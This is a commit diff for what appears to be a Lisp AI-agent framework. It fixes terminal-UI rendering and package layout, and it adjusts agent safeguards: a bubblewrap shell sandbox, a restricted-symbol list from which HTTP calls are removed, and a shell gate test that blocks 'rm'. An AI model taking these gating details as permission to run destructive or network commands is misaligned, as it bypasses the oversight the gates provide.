v0.8.3: TUI stabilization — box calls, package fixes, sandbox, configure
Bug fixes: - Fix box() calls: set color-pair before box, pass ACS default chtype integers - Fix markdown functions: move to passepartout.channel-tui package where Croatoan is imported; use add-attributes/remove-attributes instead of :bold/:underline kwargs to add-string; call theme-color in gate-trace-lines to convert theme keys to Croatoan colors - Fix sandbox: remove dex:get/dex:post from restricted symbols (blocked neuro-provider from loading) - Export *log-lock* from passepartout (was unbound in jailed skill packages) - Fix configure: always deploy to XDG, skip cp when source==dest - Fix bash crash handler format string (~~ escaping) - Revert test reorder in 28 files (caused package leakage in skill loader) Design cleanup: - Extract tui-run-screen from tui-main for clean separation - Remove inject-stimulus alias - Merge *backend-registry* into *probabilistic-backends* - Fix read-framed-message whitespace DoS (4096-iteration max) - Add *read-eval* nil to dispatcher-approvals-process read-from-string
This commit is contained in:
@@ -1,3 +1,16 @@
|
||||
(in-package :passepartout)
|
||||
|
||||
(defun channel-cli-input (text)
|
||||
"Processes raw text from the command line."
|
||||
(stimulus-inject (list :type :EVENT
|
||||
:payload (list :sensor :user-input :text text)
|
||||
:meta (list :source :CLI))))
|
||||
|
||||
(defskill :passepartout-channel-cli
|
||||
:priority 100
|
||||
:trigger (lambda (ctx) (eq (getf (getf ctx :meta) :source) :CLI))
|
||||
:deterministic (lambda (action ctx) (declare (ignore ctx)) action))
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
@@ -20,16 +33,3 @@
|
||||
(handler-case
|
||||
(progn (channel-cli-input "test-load") (log-message "CLI: Load-time test OK"))
|
||||
(error (c) (log-message "CLI: Load-time test FAILED: ~a" c)))
|
||||
|
||||
(in-package :passepartout)
|
||||
|
||||
(defun channel-cli-input (text)
|
||||
"Processes raw text from the command line."
|
||||
(stimulus-inject (list :type :EVENT
|
||||
:payload (list :sensor :user-input :text text)
|
||||
:meta (list :source :CLI))))
|
||||
|
||||
(defskill :passepartout-channel-cli
|
||||
:priority 100
|
||||
:trigger (lambda (ctx) (eq (getf (getf ctx :meta) :source) :CLI))
|
||||
:deterministic (lambda (action ctx) (declare (ignore ctx)) action))
|
||||
|
||||
@@ -1,35 +1,3 @@
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-shell-actuator-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:shell-actuator-suite))
|
||||
|
||||
(in-package :passepartout-shell-actuator-tests)
|
||||
|
||||
(def-suite shell-actuator-suite :description "Verification of the Shell Actuator")
|
||||
(in-suite shell-actuator-suite)
|
||||
|
||||
(test test-bwrap-wrap-command
|
||||
"Contract 2: bwrap-wrap-command returns properly formatted command list."
|
||||
(let ((cmdline (passepartout::bwrap-wrap-command "echo hello" 30 "/home/user/memex")))
|
||||
(is (member "bwrap" cmdline :test #'string=))
|
||||
(is (member "--unshare-net" cmdline :test #'string=))
|
||||
(is (member "--unshare-ipc" cmdline :test #'string=))
|
||||
(is (member "echo hello" cmdline :test #'string=))))
|
||||
|
||||
(test test-bwrap-available-p-returns-boolean
|
||||
"Contract 1: bwrap-available-p returns T or NIL."
|
||||
(let ((avail (passepartout::bwrap-available-p)))
|
||||
(is (typep avail 'boolean))))
|
||||
|
||||
(test test-actuator-shell-execute-echo
|
||||
"Contract 3: actuator-shell-execute runs echo and returns output."
|
||||
(let* ((action '(:type :REQUEST :target :shell :payload (:cmd "echo hello")))
|
||||
(result (passepartout::actuator-shell-execute action nil)))
|
||||
(is (stringp result))
|
||||
(is (search "hello" result :test #'char-equal))))
|
||||
|
||||
(in-package :passepartout)
|
||||
|
||||
(defvar *bwrap-available* nil
|
||||
@@ -93,3 +61,35 @@ When bwrap is available, wraps the command in a Linux namespace sandbox."
|
||||
(defskill :passepartout-channel-shell
|
||||
:priority 50
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-shell-actuator-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:shell-actuator-suite))
|
||||
|
||||
(in-package :passepartout-shell-actuator-tests)
|
||||
|
||||
(def-suite shell-actuator-suite :description "Verification of the Shell Actuator")
|
||||
(in-suite shell-actuator-suite)
|
||||
|
||||
(test test-bwrap-wrap-command
|
||||
"Contract 2: bwrap-wrap-command returns properly formatted command list."
|
||||
(let ((cmdline (passepartout::bwrap-wrap-command "echo hello" 30 "/home/user/memex")))
|
||||
(is (member "bwrap" cmdline :test #'string=))
|
||||
(is (member "--unshare-net" cmdline :test #'string=))
|
||||
(is (member "--unshare-ipc" cmdline :test #'string=))
|
||||
(is (member "echo hello" cmdline :test #'string=))))
|
||||
|
||||
(test test-bwrap-available-p-returns-boolean
|
||||
"Contract 1: bwrap-available-p returns T or NIL."
|
||||
(let ((avail (passepartout::bwrap-available-p)))
|
||||
(is (typep avail 'boolean))))
|
||||
|
||||
(test test-actuator-shell-execute-echo
|
||||
"Contract 3: actuator-shell-execute runs echo and returns output."
|
||||
(let* ((action '(:type :REQUEST :target :shell :payload (:cmd "echo hello")))
|
||||
(result (passepartout::actuator-shell-execute action nil)))
|
||||
(is (stringp result))
|
||||
(is (search "hello" result :test #'char-equal))))
|
||||
|
||||
@@ -325,7 +325,7 @@
|
||||
;; /tags command — tag stack
|
||||
;; /tags command — tag stack
|
||||
((string-equal text "/tags")
|
||||
(let ((cats passepartout::*tag-categories*))
|
||||
(let ((cats *tag-categories*))
|
||||
(if cats
|
||||
(dolist (entry cats)
|
||||
(add-msg :system (format nil "~a: ~a" (car entry) (cdr entry))))
|
||||
@@ -335,8 +335,8 @@
|
||||
(let* ((msg-count (length (st :messages)))
|
||||
(focus (or (st :foveal-id) "none"))
|
||||
(id-tokens (min 200 (floor (+ 150 (length (or (st :focus-scope) ""))) 4)))
|
||||
(tool-tokens (if (boundp 'passepartout::*cognitive-tool-registry*)
|
||||
(floor (* (hash-table-count passepartout::*cognitive-tool-registry*) 40) 4)
|
||||
(tool-tokens (if (boundp '*cognitive-tool-registry*)
|
||||
(floor (* (hash-table-count *cognitive-tool-registry*) 40) 4)
|
||||
50))
|
||||
(log-tokens (min 4000 (floor (* msg-count 60) 4)))
|
||||
(overhead-tokens 200)
|
||||
@@ -352,14 +352,14 @@
|
||||
;; /context why <id> — debug node
|
||||
((and (>= (length text) 13) (string-equal (subseq text 0 13) "/context why "))
|
||||
(let ((node-id (string-trim '(#\Space) (subseq text 13))))
|
||||
(if (fboundp 'passepartout::memory-object-get)
|
||||
(let ((obj (funcall 'passepartout::memory-object-get node-id)))
|
||||
(if (fboundp 'memory-object-get)
|
||||
(let ((obj (funcall 'memory-object-get node-id)))
|
||||
(if obj
|
||||
(add-msg :system (format nil "Node ~a: type=~a scope=~a version=~a"
|
||||
node-id
|
||||
(passepartout::memory-object-type obj)
|
||||
(passepartout::memory-object-scope obj)
|
||||
(passepartout::memory-object-version obj)))
|
||||
(memory-object-type obj)
|
||||
(memory-object-scope obj)
|
||||
(memory-object-version obj)))
|
||||
(add-msg :system (format nil "Node ~a not found" node-id))))
|
||||
(add-msg :system "Memory not available"))))
|
||||
;; /context dropped — pruned nodes
|
||||
@@ -391,18 +391,18 @@
|
||||
(let* ((n-str (string-trim '(#\Space) (subseq text 8)))
|
||||
(n (handler-case (parse-integer n-str) (error () nil))))
|
||||
(if n
|
||||
(if (fboundp 'passepartout::rollback-memory)
|
||||
(if (fboundp 'rollback-memory)
|
||||
(let* ((idx (1- n))
|
||||
(snaps passepartout::*memory-snapshots*)
|
||||
(snaps *memory-snapshots*)
|
||||
(ts (when (< idx (length snaps))
|
||||
(getf (nth idx snaps) :timestamp))))
|
||||
(funcall 'passepartout::rollback-memory idx)
|
||||
(funcall 'rollback-memory idx)
|
||||
(add-msg :system (format nil "Rewound ~d turn~:p~@[ (~a)~]" n ts)))
|
||||
(add-msg :system "Memory rollback not available"))
|
||||
(add-msg :system "Usage: /rewind <number>"))))
|
||||
;; /sessions command — list snapshots
|
||||
((string-equal text "/sessions")
|
||||
(let ((snaps passepartout::*memory-snapshots*))
|
||||
(let ((snaps *memory-snapshots*))
|
||||
(if snaps
|
||||
(let ((shown (subseq snaps 0 (min 10 (length snaps)))))
|
||||
(add-msg :system (format nil "~d snapshots (showing ~d):"
|
||||
@@ -421,19 +421,19 @@
|
||||
(maphash (lambda (k v) (declare (ignore k))
|
||||
(when v
|
||||
(incf count)
|
||||
(when (passepartout::memory-object-hash v)
|
||||
(when (memory-object-hash v)
|
||||
(incf hashed))))
|
||||
passepartout::*memory-store*)
|
||||
*memory-store*)
|
||||
(add-msg :system (format nil "Audit: ~d objects, ~d hashed, ~d snapshots"
|
||||
count hashed
|
||||
(length passepartout::*memory-snapshots*)))))
|
||||
(length *memory-snapshots*)))))
|
||||
;; /resume <n> — resume from snapshot
|
||||
((and (>= (length text) 8) (string-equal (subseq text 0 8) "/resume "))
|
||||
(let* ((n-str (string-trim '(#\Space) (subseq text 8)))
|
||||
(n (handler-case (parse-integer n-str) (error () nil))))
|
||||
(if n
|
||||
(if (fboundp 'passepartout::rollback-memory)
|
||||
(progn (funcall 'passepartout::rollback-memory (1- n))
|
||||
(if (fboundp 'rollback-memory)
|
||||
(progn (funcall 'rollback-memory (1- n))
|
||||
(add-msg :system (format nil "Resumed from snapshot ~d" n)))
|
||||
(add-msg :system "Memory rollback not available"))
|
||||
(add-msg :system "Usage: /resume <number>"))))
|
||||
@@ -1083,23 +1083,20 @@
|
||||
(setf (st :stream) nil (st :connected) nil)
|
||||
(add-msg :system "* Disconnected *")))
|
||||
|
||||
(defun tui-main ()
|
||||
(init-state)
|
||||
(load-history)
|
||||
(theme-load)
|
||||
(with-screen (scr :input-blocking nil :input-echoing nil :cursor-visible nil)
|
||||
(let* ((h (or (height scr) 24))
|
||||
(w (or (width scr) 80))
|
||||
(sidebar-w (when (>= w 120)
|
||||
(make-instance 'window :height (- h 5) :width 42 :y 3 :x (- w 44))))
|
||||
(content-w (if sidebar-w (- w 44) (- w 2)))
|
||||
(ch (- h 5))
|
||||
(sw (make-instance 'window :height 3 :width content-w :y 0 :x 1))
|
||||
(cw (make-instance 'window :height ch :width content-w :y 3 :x 1))
|
||||
(iw (make-instance 'window :height 1 :width content-w :y (- h 1) :x 1))
|
||||
(swank-port (or (ignore-errors
|
||||
(parse-integer (uiop:getenv "TUI_SWANK_PORT")))
|
||||
4006)))
|
||||
(defun tui-run-screen (scr)
|
||||
"The full TUI event loop. Called from tui-main inside with-screen."
|
||||
(let* ((h (or (height scr) 24))
|
||||
(w (or (width scr) 80))
|
||||
(sidebar-w (when (>= w 120)
|
||||
(make-instance 'window :height (- h 5) :width 42 :y 3 :x (- w 44))))
|
||||
(content-w (if sidebar-w (- w 44) (- w 2)))
|
||||
(ch (- h 5))
|
||||
(sw (make-instance 'window :height 3 :width content-w :y 0 :x 1))
|
||||
(cw (make-instance 'window :height ch :width content-w :y 3 :x 1))
|
||||
(iw (make-instance 'window :height 1 :width content-w :y (- h 1) :x 1))
|
||||
(swank-port (or (ignore-errors
|
||||
(parse-integer (uiop:getenv "TUI_SWANK_PORT")))
|
||||
4006)))
|
||||
(setf (function-keys-enabled-p iw) t
|
||||
(input-blocking iw) nil
|
||||
(st :dirty) (list t t t)
|
||||
@@ -1211,7 +1208,14 @@
|
||||
(close wizard-win)))
|
||||
(refresh scr)
|
||||
(sleep 0.03))
|
||||
(disconnect-daemon)))))
|
||||
(disconnect-daemon))))
|
||||
|
||||
(defun tui-main ()
|
||||
(init-state)
|
||||
(load-history)
|
||||
(theme-load)
|
||||
(with-screen (scr :input-blocking nil :input-echoing nil :cursor-visible nil)
|
||||
(tui-run-screen scr)))
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
@@ -73,7 +73,7 @@
|
||||
(search-highlight content (st :search-query))
|
||||
content))
|
||||
(line-text (format nil "~a [~a] ~a" prefix time content-show))
|
||||
(wrapped (passepartout::word-wrap line-text (- w 2)))
|
||||
(wrapped (word-wrap line-text (- w 2)))
|
||||
(nlines (length wrapped)))
|
||||
(if (<= nlines lines-remaining)
|
||||
(progn (decf lines-remaining nlines) (incf msg-count))
|
||||
@@ -95,7 +95,7 @@
|
||||
(search-highlight content (st :search-query))
|
||||
content))
|
||||
(line-text (format nil "~a [~a] ~a" prefix time content-show))
|
||||
(wrapped (passepartout::word-wrap line-text (- w 2))))
|
||||
(wrapped (word-wrap line-text (- w 2))))
|
||||
;; HITL panel: render with colored border
|
||||
(when is-panel
|
||||
(setf color (if is-resolved
|
||||
@@ -112,7 +112,7 @@
|
||||
;; v0.7.2: gate trace below agent messages
|
||||
(let ((gate-trace (getf msg :gate-trace)))
|
||||
(when (and gate-trace (not (member i (st :collapsed-gates))))
|
||||
(dolist (entry (passepartout::gate-trace-lines gate-trace))
|
||||
(dolist (entry (gate-trace-lines gate-trace))
|
||||
(when (< y (1- h))
|
||||
(add-string win (car entry) :y y :x 3 :n (- w 4) :fgcolor (or (getf (cdr entry) :fgcolor) :dim))
|
||||
(incf y))))))))))
|
||||
@@ -150,43 +150,43 @@
|
||||
|
||||
(test test-char-width-ascii
|
||||
"Contract 5: ASCII characters (< 128) have width 1."
|
||||
(is (= 1 (passepartout::char-width #\a)))
|
||||
(is (= 1 (passepartout::char-width #\Space)))
|
||||
(is (= 1 (passepartout::char-width #\@))))
|
||||
(is (= 1 (char-width #\a)))
|
||||
(is (= 1 (char-width #\Space)))
|
||||
(is (= 1 (char-width #\@))))
|
||||
|
||||
(test test-char-width-tab
|
||||
"Contract 5: tab character has width 8."
|
||||
(is (= 8 (passepartout::char-width #\Tab))))
|
||||
(is (= 8 (char-width #\Tab))))
|
||||
|
||||
(test test-char-width-cjk
|
||||
"Contract 5: CJK characters have width 2."
|
||||
(is (= 2 (passepartout::char-width #\日))))
|
||||
(is (= 2 (char-width #\日))))
|
||||
|
||||
(test test-char-width-null
|
||||
"Contract 5: null has width 0."
|
||||
(is (= 0 (passepartout::char-width #\Nul))))
|
||||
(is (= 0 (char-width #\Nul))))
|
||||
|
||||
(test test-markdown-bold
|
||||
"Contract 7: parse-markdown-spans detects **bold**."
|
||||
(let ((segments (passepartout::parse-markdown-spans "hello **world**!")))
|
||||
(let ((segments (parse-markdown-spans "hello **world**!")))
|
||||
(is (= 3 (length segments)))))
|
||||
|
||||
(test test-markdown-plain
|
||||
"Contract 7: plain text returns single segment."
|
||||
(let ((segments (passepartout::parse-markdown-spans "plain")))
|
||||
(let ((segments (parse-markdown-spans "plain")))
|
||||
(is (= 1 (length segments)))
|
||||
(is (string= "plain" (caar segments)))))
|
||||
|
||||
(test test-markdown-url
|
||||
"Contract 7: parse-markdown-spans detects URLs."
|
||||
(let ((segments (passepartout::parse-markdown-spans "see https://example.com for more")))
|
||||
(let ((segments (parse-markdown-spans "see https://example.com for more")))
|
||||
(is (>= (length segments) 2))
|
||||
(is (find t segments :key (lambda (s) (getf (cdr s) :url))))))
|
||||
|
||||
(test test-markdown-blocks
|
||||
"Contract 8: parse-markdown-blocks detects code blocks."
|
||||
(let* ((text (format nil "before~%```lisp~%(+ 1 2)~%```~%after"))
|
||||
(segs (passepartout::parse-markdown-blocks text)))
|
||||
(segs (parse-markdown-blocks text)))
|
||||
(is (= 3 (length segs)))
|
||||
(let ((code (second segs)))
|
||||
(is (eq t (getf code :code-block)))
|
||||
@@ -196,44 +196,44 @@
|
||||
(test test-markdown-blocks-no-close
|
||||
"Contract 8: unclosed code block returns content."
|
||||
(let* ((text (format nil "```~%unclosed code"))
|
||||
(segs (passepartout::parse-markdown-blocks text)))
|
||||
(segs (parse-markdown-blocks text)))
|
||||
(is (= 1 (length segs)))
|
||||
(is (eq t (getf (first segs) :code-block)))))
|
||||
|
||||
(test test-syntax-highlight
|
||||
"Contract 9: syntax-highlight colors Lisp code."
|
||||
(let ((segs (passepartout::syntax-highlight "(defun foo (x) (+ x 1))" "lisp")))
|
||||
(let ((segs (syntax-highlight "(defun foo (x) (+ x 1))" "lisp")))
|
||||
(is (>= (length segs) 3))))
|
||||
|
||||
(test test-syntax-highlight-keyword
|
||||
"Contract 9: syntax-highlight colors keywords."
|
||||
(let ((segs (passepartout::syntax-highlight "(let ((x 1)) (+ x 2))" "lisp")))
|
||||
(let ((segs (syntax-highlight "(let ((x 1)) (+ x 2))" "lisp")))
|
||||
(is (>= (length segs) 2))
|
||||
(is (find :keyword segs :key (lambda (s) (getf (cdr s) :fgcolor))))))
|
||||
|
||||
(test test-syntax-highlight-function
|
||||
"Contract 9: syntax-highlight colors function calls."
|
||||
(let ((segs (passepartout::syntax-highlight "(+ 1 2)" "lisp")))
|
||||
(let ((segs (syntax-highlight "(+ 1 2)" "lisp")))
|
||||
(is (>= (length segs) 2))
|
||||
(is (find :function segs :key (lambda (s) (getf (cdr s) :fgcolor))))))
|
||||
|
||||
(test test-gate-trace-lines-passed
|
||||
"Contract 9: gate-trace-lines for passed gate."
|
||||
(let ((lines (passepartout::gate-trace-lines
|
||||
(let ((lines (gate-trace-lines
|
||||
'((:gate "path" :result :passed)))))
|
||||
(is (= 1 (length lines)))
|
||||
(is (eq :gate-passed (getf (cdar lines) :fgcolor)))))
|
||||
|
||||
(test test-gate-trace-lines-blocked
|
||||
"Contract 9: gate-trace-lines for blocked gate."
|
||||
(let ((lines (passepartout::gate-trace-lines
|
||||
(let ((lines (gate-trace-lines
|
||||
'((:gate "shell" :result :blocked :reason "rm")))))
|
||||
(is (= 1 (length lines)))
|
||||
(is (search "rm" (caar lines)))))
|
||||
|
||||
(test test-gate-trace-lines-approval
|
||||
"Contract 9: gate-trace-lines for approval gate."
|
||||
(let ((lines (passepartout::gate-trace-lines
|
||||
(let ((lines (gate-trace-lines
|
||||
'((:gate "network" :result :approval)))))
|
||||
(is (= 1 (length lines)))
|
||||
(is (search "HITL" (caar lines)))))
|
||||
@@ -244,7 +244,7 @@
|
||||
(let ((cg (passepartout.channel-tui::st :collapsed-gates)))
|
||||
(is (null cg))))
|
||||
|
||||
(in-package :passepartout)
|
||||
(in-package :passepartout.channel-tui)
|
||||
|
||||
(defun char-width (ch)
|
||||
"Returns the terminal column width of character CH.
|
||||
@@ -296,7 +296,7 @@ Respects CJK/emoji char widths via char-width."
|
||||
line-end)))))
|
||||
(nreverse lines)))
|
||||
|
||||
(in-package :passepartout)
|
||||
(in-package :passepartout.channel-tui)
|
||||
|
||||
(defun parse-markdown-spans (text)
|
||||
"Parse inline markdown. Returns list of (text . (:bold/:underline/:code/:url ...))."
|
||||
@@ -345,12 +345,17 @@ Respects CJK/emoji char widths via char-width."
|
||||
(bold (getf attrs :bold))
|
||||
(code (getf attrs :code))
|
||||
(underline (getf attrs :underline))
|
||||
(url (getf attrs :url)))
|
||||
(url (getf attrs :url))
|
||||
(style-bits (append (when bold '(:bold))
|
||||
(when underline '(:underline)))))
|
||||
(when style-bits
|
||||
(add-attributes win (get-bitmask style-bits)))
|
||||
(add-string win text :y y :x x :n (max 1 (- w x))
|
||||
:bold bold :underline underline
|
||||
:bgcolor (when code (theme-color :dim))
|
||||
:fgcolor (cond (url (theme-color :highlight))
|
||||
(t (theme-color (or (getf attrs :role) :agent)))))
|
||||
:bgcolor (when code (theme-color :dim))
|
||||
:fgcolor (cond (url (theme-color :highlight))
|
||||
(t (theme-color (or (getf attrs :role) :agent)))))
|
||||
(when style-bits
|
||||
(remove-attributes win (get-bitmask style-bits)))
|
||||
(incf x (length text))))
|
||||
y)
|
||||
|
||||
@@ -416,7 +421,7 @@ Respects CJK/emoji char widths via char-width."
|
||||
(setf p fe)))))))))
|
||||
(nreverse r)))
|
||||
|
||||
(in-package :passepartout)
|
||||
(in-package :passepartout.channel-tui)
|
||||
|
||||
(defun gate-trace-lines (trace)
|
||||
"Convert gate-trace plist to display lines."
|
||||
@@ -427,10 +432,10 @@ Respects CJK/emoji char widths via char-width."
|
||||
(reason (getf entry :reason))
|
||||
(name (or gate "unknown"))
|
||||
(color (case result
|
||||
(:passed :gate-passed)
|
||||
(:blocked :gate-blocked)
|
||||
(:approval :gate-approval)
|
||||
(t :dim)))
|
||||
(:passed (theme-color :gate-passed))
|
||||
(:blocked (theme-color :gate-blocked))
|
||||
(:approval (theme-color :gate-approval))
|
||||
(t (theme-color :dim))))
|
||||
(prefix (case result
|
||||
(:passed " ✓ ")
|
||||
(:blocked " ✗ ")
|
||||
@@ -448,7 +453,8 @@ Respects CJK/emoji char widths via char-width."
|
||||
(defun view-sidebar (win)
|
||||
"Render 42-column sidebar with 7 panels: Gate Trace, Focus, Rules, Context, Files, Cost, Protection."
|
||||
(clear win)
|
||||
(box win (theme-color :border) (theme-color :background))
|
||||
(setf (color-pair win) (list (theme-color :border) (theme-color :background)))
|
||||
(box win 0 0)
|
||||
(let* ((w (or (width win) 42))
|
||||
(h (or (height win) 24))
|
||||
(y 1)
|
||||
@@ -463,7 +469,7 @@ Respects CJK/emoji char widths via char-width."
|
||||
(add-string win "── Gate Trace ──" :y y :x 1 :n (- w 2) :fgcolor (theme-color :accent))
|
||||
(incf y)
|
||||
(if gate-trace
|
||||
(dolist (entry (passepartout::gate-trace-lines gate-trace))
|
||||
(dolist (entry (gate-trace-lines gate-trace))
|
||||
(when (< y (1- h))
|
||||
(add-string win (car entry) :y y :x 2 :n (- w 4)
|
||||
:fgcolor (or (getf (cdr entry) :fgcolor) (theme-color :dim)))
|
||||
@@ -557,7 +563,8 @@ Respects CJK/emoji char widths via char-width."
|
||||
(defun view-palette (win)
|
||||
"Render centered command palette overlay with filtered items, selection highlight."
|
||||
(clear win)
|
||||
(box win (theme-color :border) (theme-color :background))
|
||||
(setf (color-pair win) (list (theme-color :border) (theme-color :background)))
|
||||
(box win 0 0)
|
||||
(let* ((w (or (width win) 50))
|
||||
(h (or (height win) 20))
|
||||
(y 1)
|
||||
@@ -600,7 +607,8 @@ Respects CJK/emoji char widths via char-width."
|
||||
(defun view-wizard (win)
|
||||
"Render setup wizard overlay: step title, prompt, input, error, progress."
|
||||
(clear win)
|
||||
(box win (theme-color :border) (theme-color :background))
|
||||
(setf (color-pair win) (list (theme-color :border) (theme-color :background)))
|
||||
(box win 0 0)
|
||||
(let* ((w (or (width win) 60))
|
||||
(h (or (height win) 15))
|
||||
(y 1)
|
||||
|
||||
@@ -1,125 +1,3 @@
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-pipeline-act-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:pipeline-act-suite))
|
||||
|
||||
(in-package :passepartout-pipeline-act-tests)
|
||||
|
||||
(def-suite pipeline-act-suite :description "Test suite for Act pipeline")
|
||||
(in-suite pipeline-act-suite)
|
||||
|
||||
(test test-loop-gate-act-basic
|
||||
"Contract 1: approved action reaches :acted status via loop-gate-act."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(let* ((signal (list :type :EVENT :status nil :depth 0 :approved-action '(:target :cli :payload (:text "Hello"))))
|
||||
(result (loop-gate-act signal)))
|
||||
(is (eq :acted (getf signal :status)))
|
||||
(is (null result))))
|
||||
|
||||
(test test-loop-gate-act-no-approved-action
|
||||
"Contract 1: signal with no approved-action still reaches :acted status."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(let* ((signal (list :type :EVENT :status nil :depth 0)))
|
||||
(loop-gate-act signal)
|
||||
(is (eq :acted (getf signal :status)))))
|
||||
|
||||
(test test-loop-gate-act-last-mile-reject
|
||||
"Contract 1: last-mile cognitive-verify rejection blocks approved-action."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(passepartout::defskill :mock-blocker
|
||||
:priority 50
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) t)
|
||||
:deterministic (lambda (action ctx)
|
||||
(declare (ignore ctx action))
|
||||
(list :type :LOG :payload (list :text "Last-mile block"))))
|
||||
(let* ((signal (list :type :EVENT :status nil :depth 0
|
||||
:approved-action '(:type :REQUEST :target :cli :payload (:text "blocked")))))
|
||||
(loop-gate-act signal)
|
||||
(is (eq :acted (getf signal :status)))
|
||||
(is (null (getf signal :approved-action)))))
|
||||
|
||||
(test test-loop-gate-act-preserves-meta
|
||||
"Contract 1: signal metadata is not mutated by loop-gate-act."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(let* ((meta '(:source :tui :session "s1"))
|
||||
(signal (list :type :EVENT :status nil :depth 0 :meta meta
|
||||
:approved-action '(:target :cli :payload (:text "test")))))
|
||||
(loop-gate-act signal)
|
||||
(is (equal meta (getf signal :meta)))))
|
||||
|
||||
(test test-action-dispatch-routes
|
||||
"Contract 3: action-dispatch routes to registered actuators without crashing."
|
||||
(actuator-initialize)
|
||||
(let ((result (action-dispatch '(:type :REQUEST :target :system :payload (:action :eval :code "(+ 1 2)"))
|
||||
'(:type :EVENT :depth 0))))
|
||||
(is (numberp result) "eval should return a number")))
|
||||
|
||||
(test test-tool-timeout-shell
|
||||
"Contract v0.7.2: shell timeout is 300 seconds."
|
||||
(is (= 300 (passepartout::tool-timeout "shell"))))
|
||||
|
||||
(test test-tool-timeout-unknown
|
||||
"Contract v0.7.2: unknown tool gets default 120s."
|
||||
(is (= 120 (passepartout::tool-timeout "nonexistent-tool"))))
|
||||
|
||||
(test test-verify-write-match
|
||||
"Contract v0.7.2: verify-write returns T on match."
|
||||
(let ((path "/tmp/passepartout-verify-test.org")
|
||||
(content "test content"))
|
||||
(with-open-file (f path :direction :output :if-exists :supersede)
|
||||
(write-string content f))
|
||||
(unwind-protect
|
||||
(is (passepartout::verify-write path content))
|
||||
(ignore-errors (delete-file path)))))
|
||||
|
||||
(test test-tool-timeout-enforcement
|
||||
"Contract v0.7.2: tool exceeding timeout returns :error with timeout message."
|
||||
(setf (gethash "sleep-forever" passepartout::*tool-timeouts*) 1)
|
||||
(setf (gethash "sleep-forever" passepartout::*cognitive-tool-registry*)
|
||||
(passepartout::make-cognitive-tool :name "sleep-forever"
|
||||
:read-only-p nil
|
||||
:body (lambda (args)
|
||||
(declare (ignore args))
|
||||
(sleep 10)
|
||||
"done")))
|
||||
(unwind-protect
|
||||
(let* ((action '(:type :REQUEST :payload (:tool "sleep-forever" :args nil)))
|
||||
(ctx '(:depth 0))
|
||||
(result (passepartout::action-tool-execute action ctx)))
|
||||
(is (eq :EVENT (getf result :TYPE)))
|
||||
(let ((payload (getf result :PAYLOAD)))
|
||||
(is (eq :tool-error (getf payload :SENSOR)))
|
||||
(is (search "timed out" (string-downcase (getf payload :MESSAGE))))))
|
||||
(remhash "sleep-forever" passepartout::*cognitive-tool-registry*)
|
||||
(remhash "sleep-forever" passepartout::*tool-timeouts*)))
|
||||
|
||||
(test test-tool-cache-read-only
|
||||
"Contract v0.7.2: read-only tool results are cached and reused."
|
||||
(let ((call-count 0))
|
||||
(setf (gethash "cache-test" passepartout::*cognitive-tool-registry*)
|
||||
(passepartout::make-cognitive-tool :name "cache-test"
|
||||
:read-only-p t
|
||||
:body (lambda (args)
|
||||
(declare (ignore args))
|
||||
(incf call-count)
|
||||
(list :status :success :content (format nil "call ~d" call-count)))))
|
||||
(unwind-protect
|
||||
(progn
|
||||
(clrhash passepartout::*tool-cache*)
|
||||
(let* ((action '(:type :REQUEST :payload (:tool "cache-test" :args nil)))
|
||||
(ctx '(:depth 0))
|
||||
(r1 (passepartout::action-tool-execute action ctx))
|
||||
(r2 (passepartout::action-tool-execute action ctx)))
|
||||
(is (= 1 call-count) "Second call should hit cache, not re-execute")
|
||||
(let ((p1 (getf r1 :PAYLOAD))
|
||||
(p2 (getf r2 :PAYLOAD)))
|
||||
(is (string= (getf (getf p1 :RESULT) :CONTENT)
|
||||
(getf (getf p2 :RESULT) :CONTENT))))))
|
||||
(remhash "cache-test" passepartout::*cognitive-tool-registry*)
|
||||
(clrhash passepartout::*tool-cache*))))
|
||||
|
||||
(in-package :passepartout)
|
||||
|
||||
(defvar *actuator-default* :cli
|
||||
@@ -369,3 +247,125 @@ For approval-required actions, creates a Flight Plan instead of executing."
|
||||
|
||||
(defun act-gate (signal)
|
||||
(loop-gate-act signal))
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-pipeline-act-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:pipeline-act-suite))
|
||||
|
||||
(in-package :passepartout-pipeline-act-tests)
|
||||
|
||||
(def-suite pipeline-act-suite :description "Test suite for Act pipeline")
|
||||
(in-suite pipeline-act-suite)
|
||||
|
||||
(test test-loop-gate-act-basic
|
||||
"Contract 1: approved action reaches :acted status via loop-gate-act."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(let* ((signal (list :type :EVENT :status nil :depth 0 :approved-action '(:target :cli :payload (:text "Hello"))))
|
||||
(result (loop-gate-act signal)))
|
||||
(is (eq :acted (getf signal :status)))
|
||||
(is (null result))))
|
||||
|
||||
(test test-loop-gate-act-no-approved-action
|
||||
"Contract 1: signal with no approved-action still reaches :acted status."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(let* ((signal (list :type :EVENT :status nil :depth 0)))
|
||||
(loop-gate-act signal)
|
||||
(is (eq :acted (getf signal :status)))))
|
||||
|
||||
(test test-loop-gate-act-last-mile-reject
|
||||
"Contract 1: last-mile cognitive-verify rejection blocks approved-action."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(passepartout::defskill :mock-blocker
|
||||
